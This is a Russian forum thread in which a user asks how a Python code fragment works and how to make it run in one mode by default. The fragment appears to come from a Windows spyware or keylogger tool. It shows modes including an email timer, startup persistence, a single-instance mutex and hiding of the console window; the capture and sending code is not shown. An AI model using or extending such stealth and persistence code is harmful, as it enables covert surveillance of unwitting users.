Форум сайта python.su
Здравствуйте
Помогите понять как работает данный участок кода
def main(): global x if len(sys.argv)==1: msg() exit(0) else: if len(sys.argv)>2: if sys.argv[2]=="startup": addStartup() else: msg() exit(0) if sys.argv[1]=="lololo": x=1 hide() elif sys.argv[1]=="rerere": x=2 hide() elif sys.argv[1]=="pochtarus": hide() email=TimerClass() email.start() elif sys.argv[1]=="fedya": x=4 hide() else: msg() exit(0) return True if __name__ == '__main__': main()
#Disallowing Multiple Instance mutex = win32event.CreateMutex(None, 1, 'mutex_var_xboz') if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS: mutex = None print "Multiple Instance not Allowed" exit(0) x='' data='' count=0
#Hide Console def hide(): import win32console,win32gui window = win32console.GetConsoleWindow() win32gui.ShowWindow(window,0) return True
Отредактировано wikden (Авг. 27, 2015 16:52:34)
Офлайн
wikdenА что непонятно? Не знаешь, что такое sys.argv?
Помогите понять как работает данный участок кода
Офлайн
Уже знаю "sys.argv - список аргументов командной строки, передаваемых сценарию Python. sys.argv является именем скрипта (пустой строкой в интерактивной оболочке)“
А можно в первом примере изменить код, чтобы он не ждал от меня выбора и по умолчанию было ”fedya" например. Сейчас при запуске надо выбрать один из 4 режимов. А мне бы хотелось, чтобы он сразу работал без вопросов выбора.
Офлайн
wikdenНу, можно ниже этой main() написать ещё одну main(), которая её перекроет. А в ней уже написать всё, что надо.
А можно в первом примере изменить код, чтобы он не ждал от меня выбора и по умолчанию было ”fedya" например.
Офлайн